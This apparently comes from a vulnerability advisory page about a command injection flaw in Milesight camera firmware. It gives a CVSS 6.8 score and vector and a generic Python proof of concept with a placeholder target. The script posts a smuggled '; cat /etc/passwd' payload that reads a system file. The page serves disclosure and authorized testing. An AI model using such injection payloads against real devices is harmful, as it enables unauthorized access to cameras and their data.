A command injection vulnerability exists in the web server of specific firmware versions of Milesight cameras.
CVSS Details
CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Milesight 摄像头特定固件版本 (具体受影响版本请参考厂商安全公告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL (example)
target_url = "http://<target_ip>/<vulnerable_endpoint>"
# Malicious payload to execute a command (e.g., cat /etc/passwd)
payload = "; cat /etc/passwd"
# Data to be sent (example parameter)
data = {
"param_name": payload
}
try:
# Send POST request with the payload
response = requests.post(target_url, data=data, timeout=5)
# Check if the command was executed
if response.status_code == 200 and "root:" in response.text:
print("[+] Vulnerability confirmed! Command injection successful.")
print(response.text)
else:
print("[-] Exploit failed or target not vulnerable.")
except Exception as e:
print(f"[!] Error: {e}")